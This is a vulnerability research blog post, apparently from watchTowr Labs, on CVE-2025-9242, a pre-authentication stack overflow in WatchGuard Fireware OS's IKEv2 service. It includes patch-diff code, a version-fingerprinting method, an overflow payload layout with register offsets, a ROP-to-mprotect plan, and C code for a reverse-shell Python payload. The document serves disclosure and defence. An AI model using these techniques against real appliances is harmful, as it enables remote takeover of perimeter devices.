yIKEs (WatchGuard Fireware OS IKEv2 Out-of-Bounds Write CVE-2025-9242)

Note from editor: Before we begin, a big welcome to McCaulay Hudson, the newest member of the watchTowr Labs team with his inaugural blog post! Welcome to the mayhem, McCaulay!
Today is the 8th of November 1996, and we’re thrilled to be exploring this new primitive we call Stack-based Buffer Overflows. It’s a great time to be alive, especially because we don’t have to deal with any of the pain of modern/not-so-modern mitigations.
Oh no, wait, it’s 2025 and we are still seeing Stack-based Buffer Overflows in enterprise-grade appliances, and of course, lacking mainstream exploit mitigations.

Today, we’re diving into CVE-2025-9242 - a vulnerability centered around a modern-day (ha ha) primitive inside WatchGuard’s Fireware OS, the operating system powering WatchGuard’s bright-red Firebox network security appliances. Or, put differently, an Out-of-bounds Write vulnerability in the WatchGuard Fireware OS (in WatchGuard’s own words) in 2025.
WatchGuard appliances running Fireware OS aren’t just firewalls; they’re VPN concentrators, policy enforcement engines, intrusion prevention systems, and in many cases, the first and last line of defense for an entire organization.
The word "defense" is doing a lot of lifting here, in our opinion.
This blog post will walk readers through our analysis and reproduction of CVE-2025-9242 in Fireware OS. For those curious, the official WatchGuard advisory can be found here.
Who is WatchGuard and what is Fireware OS
WatchGuard is a long-standing security vendor that claims to protect more than 250,000 small and midsize enterprises globally - securing over 10 million endpoints according to their own site.
Their appliances run Fireware OS, an all-in-one edge platform that aims to be the Swiss Army knife of network security. It packs intrusion prevention, antivirus, web filtering, and even a VPN feature that lets your devices whisper secrets through encrypted tunnels between networks.
In short, Fireware OS is the software brain of WatchGuard’s Firebox hardware - those glossy red boxes sitting proudly in server racks, guarding the boundary between your private network and the public internet.

What is CVE-2025-9242
CVE-2025-9242 (so catchy) gets a CVSS4.0 score of 9.3 (not comparable to CVSS3.1 scores), marked as ‘Critical’ and according to WatchGuard affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
According to WatchGuard, this vulnerability affects Fireware OS versions:
- 11.10.2 up to and including 11.12.4_Update1,
- 12.0 up to and including 12.11.3 and 2025.1.
Here’s how WatchGuard describes this vulnerability:
An Out-of-bounds Write vulnerability in the WatchGuard Fireware OS iked process may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
If the Firebox was previously configured with the mobile user VPN with IKEv2 or a branch office VPN using IKEv2 to a dynamic gateway peer, and both of those configurations have since been deleted, that Firebox may still be vulnerable if a branch office VPN to a static gateway peer is still configured.
Let’s summarize, and see if we’re looking at a vulnerability that has all the characteristics your friendly neighbourhood ransomware gangs love to see:
- Affects a typically Internet-exposed service (the IKEv2 VPN service)
- Is exploitable/reachable pre-authentication
- Execute arbitrary code on a perimeter appliance
As we walk through today’s analysis, we’ll also discover whether WatchGuard (who develops security appliances and presumably aware of security practices) is aware of “modern-day” exploitation mitigations.

Before we move on, here's a reminder: “WatchGuard enables more than 250,000 small and midsize enterprises from around the globe to protect their most important assets, including over 10 million endpoints.”
yIKEs.
Patch Diffing - CVE-2025-9242
As we always do when analyzing N-days, our first job was to identify where the vulnerable code resides and begin to determine what the patch. For these purposes, we compared the following versions of Fireware OS:
- 12.11.3 (unpatched)
- 12.11.4 (patched).
Very quickly, we identified suspicious changes within /usr/bin/iked
aligning with our understanding of where the vulnerable code had been resolved (within the IKEv2 service). Although there were a multitude of changes, we quickly honed in on code changes within the ike2_ProcessPayload_CERT
function.
The following snippet of code is our reconstruction of the ike2_ProcessPayload_CERT
function within the vulnerable 12.11.3
firmware version.
We have removed some code for brevity:
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
char identification [520];
memset(identification, 0, sizeof(identification));
...
// Vulnerability: Stack-based buffer overflow
// * pIDPld.identification is an attacker-controlled buffer
// * identification is a fixed size stack buffer of 520 bytes
memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);
...
int status = CMgrValidateCert_GetPubKey(...);
if (status != 0)
wglog_trace_r("failed to validate received peer certificate");
wglog_trace_r("successfully validated received peer certificate");
}
In summary, this code is designed to copy a client “identification” to a local stack buffer, and then validate the provided client SSL certificate.
Looking at the same function within the patched 12.11.4
firmware version, we can see the introduction of an additional length check on the identification buffer (highlighted beneath the comment // CVE-2025-9242 length check patch
:
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
char identification [512];
memset(identification, 0, sizeof(identification));
...
// CVE-2025-9242 length check patch
if (pIDPld.identification.length > 0x200)
{
wglog_trace_r("received ID data legth(%d) is larger than expected length",
gProgram, pIDPld.identification.length);
return -1;
}
memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);
...
int status = CMgrValidateCert_GetPubKey(...);
if (status != 0)
wglog_trace_r("failed to validate received peer certificate");
wglog_trace_r("successfully validated received peer certificate");
}
After spotting the patch, the next steps on our path to reproducing this vulnerability became clear: We needed to pull teeth, poke ourselves in the eyes, and begin to figure out in detail how the IKE protocol ultimately triggers the vulnerable function.
This would allow us to build mechanisms to identify vulnerable appliances and exploit the vulnerability.
IKEv2, A Primer
As a very quick explainer for those unfamiliar, IKEv2 is a protocol that typically operates on UDP port 500 and is primarily responsible for establishing Virtual Private Network (VPN) tunnels.
At a high level, it handles the secure negotiation of encryption parameters, authentication, and key exchange between two peers.
The unauthenticated portion of the protocol consists of two initial packet exchanges:

Based on the above, the vulnerable code (the Identification
portion) is processed during IKE_SA_AUTH
. That means we must deliver two packets to the WatchGuard IKE service to reach the vulnerable code path:
- An
IKE_SA_INIT
packet, followed by - An
IKE_SA_AUTH
packet.
Let’s dig a little deeper into the protocol.
Part 1 - IKE_SA_INIT
To explain what is happening here:
The first packet’s job is simple but important - it kicks off the Diffie-Hellman key exchange. Here, the client proposes the cryptographic transforms it supports, sends over its public key, and drops in a nonce for good measure.
Or, put differently: it’s the protocol’s version of a handshake, where both sides agree on how they’ll talk securely. No authentication happens yet; it’s just the client and server trading math problems to set up a shared secret.
Below, the IKE_SA_INIT
packet - shown as a tree - highlights the mandatory fields required for this initial exchange:
Internet Security Association and Key Management Protocol
Initiator SPI: aae76f3726073034
Responder SPI: 0000000000000000
Next payload: Security Association (33)
Version: 2.0
Exchange type: IKE_SA_INIT (34)
Flags: 0x08 (Initiator, No higher version, Request)
Message ID: 0x00000000
Length: 548
Payload: Security Association (33)
Payload: Proposal (2) # 1
Payload: Transform (3)
Transform Type: Encryption Algorithm (ENCR) (1)
Transform ID (ENCR): ENCR_AES_CBC (12)
Transform Attribute (t=14,l=2): Key Length: 256
Payload: Transform (3)
Transform Type: Pseudo-random Function (PRF) (2)
Transform ID (PRF): PRF_HMAC_SHA2_256 (5)
Payload: Transform (3)
Transform Type: Integrity Algorithm (INTEG) (3)
Transform ID (INTEG): AUTH_HMAC_SHA2_256_128 (12)
Payload: Transform (3)
Transform Type: Diffie-Hellman Group (D-H) (4)
Transform ID (D-H): 2048 bit MODP group (14)
Payload: Key Exchange (34)
Payload: Nonce (40)
Payload: Notify (41) - NAT_DETECTION_DESTINATION_IP
Payload: Notify (41) - NAT_DETECTION_SOURCE_IP
Payload: Vendor ID (43) : Unknown Vendor ID
Payload: Vendor ID (43) : Unknown Vendor ID
Payload: Vendor ID (43) : Cisco Fragmentation
Payload: Vendor ID (43) : Cisco Fragmentation
Payload: Notify (41) - IKEV2_FRAGMENTATION_SUPPORTED
Payload: Notify (41) - REDIRECT_SUPPORTED
Payload: Notify (41) - SIGNATURE_HASH_ALGORITHMS
If the server accepts the proposed transforms, it replies with its own public key, nonce, and the chosen set of transforms.
In other words, it agrees on the cryptographic rules of engagement - how both sides will talk securely from this point onward.
Part 2 - IKE_SA_AUTH
The second packet carries an encrypted payload protected with the transforms negotiated within the IKE_SA_INIT
‘handshake’. A shared secret derived from the Diffie–Hellman exchange is used to encrypt this payload.
This packet is noteworthy, though, for our purposes: it can include both the Identification - Initiator payload and the Certificate payload, which is exactly where the vulnerable function is invoked.
The server does attempt certificate validation, but that validation happens after the vulnerable code runs, allowing our vulnerable code path to be reachable pre-authentication:
Internet Security Association and Key Management Protocol
Initiator SPI: aae76f3726073034
Responder SPI: f1b3cf883e18a45c
Next payload: Encrypted and Authenticated (46)
Version: 2.0
Exchange type: IKE_AUTH (35)
Flags: 0x08 (Initiator, No higher version, Request)
Message ID: 0x00000001
Length: 1616
Payload: Encrypted and Authenticated (46)
Initialization Vector: 57401bf413505f5550173a07d778d68f (16 bytes)
Encrypted Data (1552 bytes) <AES-CBC-256 [RFC3602]>
Decrypted Data (1552 bytes)
Contained Data (1538 bytes)
Payload: Identification - Initiator (35) <---
Payload length: 521
ID type: FQDN (2)
[…] Identification Data:(A*513) <---
Payload: Certificate (37) <---
Payload: Notify (41) - INITIAL_CONTACT
Payload: Notify (41) - HTTP_CERT_LOOKUP_SUPPORTED
Payload: Certificate Request (38)
Payload: Configuration (47)
Payload: Security Association (33)
Payload: Traffic Selector - Initiator (44) # 1
Payload: Traffic Selector - Responder (45) # 1
Payload: Vendor ID (43) : RFC 3706 DPD (Dead Peer Detection)
Payload: Notify (41) - MOBIKE_SUPPORTED
Payload: Notify (41) - MULTIPLE_AUTH_SUPPORTED
Padding (13 bytes)
Pad Length: 13
Integrity Checksum Data: 3e2683f32beaaddeb8f3f0d43f7b0b2b (16 bytes) <HMAC_SHA2_256_128 [RFC4868]>[correct]
Version Fingerprinting
While knee-deep in the IKEv2 protocol, watching packets fly between the client and WatchGuard’s VPN service, something odd stood out - a base64 string embedded in the server’s response. That immediately raised an eyebrow.
After spending more hours than we care to admit wading through IKE-related RFCs, we hadn’t seen a single mention of base64 data anywhere in the specification.
Digging deeper, it became clear this wasn’t some undocumented quirk - it was a custom Vendor ID
payload unique to WatchGuard’s implementation.
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
As you might have noticed, the Vendor ID begins with a 32-byte hash — standard fare for IKE — but it’s immediately followed by something less familiar: a base64-encoded string.
bfc22e9856ba993611c11e48a6d20807a95bedb393026a49e60fac327bb9601b
Vk49MTIuMTEuMyBCTj03MTk4OTQ=
So what’s this mystery string?
~ # echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
VN=12.11.3 BN=719894
Jackpot! We see two parameters:
VN (Version Number)
: 12.11.3BN (Build Number)
: 719894
This is useful - vulnerability reproduction aside, we now have a reliable mechanism to fingerprint the version of WatchGuard Firmware OS in use, unauthenticated and with a single UDP packet.

Triggering The Overflow
Version identification, unauthenticated and reliable, is great - but we want more. We want to prove an appliance is vulnerable and exploitable, ideally not by matching some numbers to another list of numbers.
Let’s take stock of what we have:
- We know roughly how the IKEv2 protocol works to the point of reaching the vulnerability,
- We can fingerprint a server to check if it’s vulnerable based on the version number.
Time to take this all way too far..

Before we quite see shells pour down around us, we first need to negotiate and determine the supported transformations within the WatchGuard IKEv2 service.
By default, in WatchGuard Fireware OS v12.11.3, the following transformations are supported:
Transform | Key Group |
---|---|
SHA2-256-AES(256-bit) | Diffie-Hellman Group 14 |
SHA1-AES(256-bit) | Diffie-Hellman Group 5 |
SHA1-AES(256-bit) | Diffie-Hellman Group 2 |
SHA1-3DES | Diffie-Hellman Group 2 |
After the Diffie–Hellman exchange completes, the client sends the IKE_SA_AUTH
packet. That encrypted message can carry a number of payloads, including the Identification – Initiator
payload - ultimately processed and handed to the vulnerable routine.
Under normal operation, the identification field is a short, benign string - something like “WatchGuard.” However, in this instance, we’re being more problematic - we are sending the letter A
520 times which fills the fixed stack buffer we saw previously, followed by various other values:
identification = (
b'A' * 520 +
b'B' * 8 + #
b'C' * 8 + #
b'D' * 8 + # RBX
b'E' * 8 + # R12
b'F' * 8 + # R13
b'G' * 8 + # R14
b'H' * 8 + # R15
b'I' * 8 + # RBP
b'\\xDE\\xAD\\xBE\\xEF\\x13\\x37\\xC0\\xD3' # RIP
)
In x86-64, various register values are stored on the stack at the start of the function.
The function body runs with those saved values pushed aside. At the end of the function, it restores the saved registers by popping them back off the stack so the caller’s register state is intact when control returns.
In short, the start of the function pushes registers onto the stack; the end of the function pops them back and restores the CPU state:
0041f5ba 5b POP RBX
0041f5bb 41 5c POP R12
0041f5bd 41 5d POP R13
0041f5bf 41 5e POP R14
0041f5c1 41 5f POP R15
0041f5c3 5d POP RBP
0041f5c4 c3 RET
However, in this case, when the Identification buffer overruns the stack and because we have corrupted those values, the function ends up popping our attacker-controlled values into the registers.
In our example RBX
receives 0x44444444...
(DDDDDDDD
), R12
receives 0x45454545...
(EEEEEEEE
), and so on until the final RET
pops 0xDEADBEEF1337C0D3
into RIP
, the program counter.
Sending this payload to a vulnerable WatchGuard IKEv2 service produces a corrupted register and stack state similar to the one shown below:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000537a5f in ?? ()
(gdb) i r
rax 0x12 18
rbx 0x4444444444444444 4919131752989213764
rcx 0x1 1
rdx 0x7fffffffd978 140737488345464
rsi 0x612e88 6368904
rdi 0x0 0
rbp 0x4949494949494949 0x4949494949494949
rsp 0x7fffffffdca8 0x7fffffffdca8
r8 0x0 0
r9 0x0 0
r10 0x40 64
r11 0x246 582
r12 0x4545454545454545 4991471925827290437
r13 0x4646464646464646 5063812098665367110
r14 0x4747474747474747 5136152271503443783
r15 0x4848484848484848 5208492444341520456
rip 0x537a5f 0x537a5f
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/1i $pc
=> 0x537a5f: retq
(gdb) x/8xb $rsp
0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3
(gdb) x/136xb $rsp-128
0x7fffffffdc28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc68: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x7fffffffdc70: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0x7fffffffdc78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0x7fffffffdc80: 0x45 0x45 0x45 0x45 0x45 0x45 0x45 0x45
0x7fffffffdc88: 0x46 0x46 0x46 0x46 0x46 0x46 0x46 0x46
0x7fffffffdc90: 0x47 0x47 0x47 0x47 0x47 0x47 0x47 0x47
0x7fffffffdc98: 0x48 0x48 0x48 0x48 0x48 0x48 0x48 0x48
0x7fffffffdca0: 0x49 0x49 0x49 0x49 0x49 0x49 0x49 0x49
0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3
Note: RIP is not 0xDEADBEEF1337C0D3
as it is not a valid address, and the program triggers a segmentation fault first, however, the next instruction is shown as retq
and the top of the stack shows DEADBEEF1337C0D3
.
It's Hammer Time - ROP, Shell, Jump
After gaining control of $RIP
, this situation may appear trivial to exploit to the casual eye. However, due to a limited number of ROP gadgets available, this is not the case (as always, life is not so simple).
As we eluded to above, we were wildly disappointed to see that almost all exploit mitigations are not in use - a sorry state of affairs for an appliance in 2025, let alone a security appliance.
At least the NX bit mitigation is enabled, we guess, giving us some reprieve from trivial direct execution of code:

Instinctively, our next step was to create a ROP chain to execute system("<cmd>")
as it was already an imported function in /usr/bin/iked
.
But once again, living in this parallel universe, you may be surprised to learn that there is no /bin/sh
in the WatchGuard OS v12.11.3 (like there is no PIE, or stack canaries - sekurity!). Lightweight and efficient!

For those unfamiliar, the C library function system
ultimately calls execve
with /bin/sh -c "{cmd}"
.
Notably, Fireware OS v12.11.3 did not include any full interactive shell, including /bin/bash
or /bin/ash
. This omission slightly raised the bar for exploitation and, intentionally or not, made our lives harder.
Even more notablyer (ha ha), WatchGuard is one of the few vendors that ship without a default shell in this context.
(We may or may not have written the entire ROP chain to use system
before noticing the lack of /bin/sh
)
With this cold and bleak reality shoved in our faces, our next option was to build a ROP chain that calls mprotect
to make the stack executable, defeating the mitigations provided by NX.
After calling mprotect
with the address of our stack and marking it as executable, we are then able to carefully place our shellcode in the buffer, and then trigger the ROP chain to directly execute our shellcode from the stack.
While there are always several payload options for shellcode in these situations, because the device lacked a standard interactive shell, we chose a compact reverse TCP payload that spawned an interactive Python interpreter.
The following C code represents the execution that the shellcode does:
char *argv[] = { "/usr/bin/python3", "-i", "-u", NULL };
// Setup server address
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(target_port);
inet_aton(target_ip, &serv_addr.sin_addr);
// Connect to remote host
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
// Duplicate descriptors (stdout,stdin,stderr)
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// Spawn python3 interactive shell over TCP
execve("/usr/bin/python3", argv, NULL);
And just like that, we are able to demonstrate a working remote Python shell running as root on our target, a vulnerable WatchGuard appliance.
To escalate this foothold, we have a host of options - including:
- Directly executing
execve
within Python in order to remount the filesystem as read/write. - Downloading a BusyBox busybox binary onto the target
- Symlinking
/bin/sh
to the BusyBox binary - And kaboom - allowing us to gain a more familiar full Linux shell.
Detection Artefact Generator
As is tradition and to enable defenders, we’ve produced a Detection Artefact Generator to demonstrate and achieve pre-auth Remote Code Execution (RCE) at home.
This artwork can be found at watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.